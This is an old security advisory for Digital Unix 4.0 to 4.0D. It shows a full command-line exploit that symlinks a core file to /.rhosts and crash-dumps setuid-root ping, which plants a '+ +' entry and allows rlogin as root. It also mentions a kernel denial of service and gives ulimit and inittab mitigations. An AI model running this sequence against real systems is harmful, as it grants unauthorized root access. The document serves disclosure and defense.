COMMAND
core
SYSTEMS AFFECTED
Digital Unixx 4.0, 4.0B, 4.0D
PROBLEM
Following was discovered by |-ru5ty- and [SoReN]. Starting 2 suid
root programs in background, and killing them with -11 flag, we'll
have a core root owned with our gid and mode 600. Then is enough
a symlink to create a file everywhere...like /.rhosts.
$ ls -l /.rhosts
/.rhosts not found
$ ls -l /usr/sbin/ping
-rwsr-xr-x 1 root bin 32768 Nov 16 1996 /usr/sbin/ping
$ ln -s /.rhosts core
$ IMP='
>+ +
>'
$ ping somehost &
[1] 1337
$ ping somehost &
[2] 31337
$ kill -11 31337
$ kill -11 1337
[1] Segmentation fault /usr/sbin/ping somehost (core dumped)
[2] +Segmentation fault /usr/sbin/ping somehost (core dumped)
$ ls -l /.rhosts
-rw------- 1 root system 385024 Mar 29 05:17 /.rhosts
##/.rhosts has been created....that's all.##
$ rlogin localhost -l root
We can also have a DoS if we link our core to the kernel. One
report said on 4.0B this was only reproducable with
% unsetenv DISPLAY; xterm
SOLUTION
The only defence is to put the following line into the file
/sbin/rc3 (this is a sh script; most processes run by users are
descendants of this):
ulimit -h -c 0
However this does not work for processes started from
/etc/inittab: getty (console and tty) logins. Instead of
modifying /sbin/rc3, you could try changing /etc/inittab to read
something like:
s3:3:wait:sh -c 'ulimit -h -c 0; /sbin/rc3 < /dev/console > /dev/console 2>&1'
cons:1234:respawn:sh -c 'ulimit -h -c 0; /usr/sbin/getty console console vt100'
Obviously this prevents creating core files in all cases. It
seems also that if you do not have read privileges on a program
that you execute, it will not core dump. So another quick fix to
this problem would be to take read permissions away on all your
suids.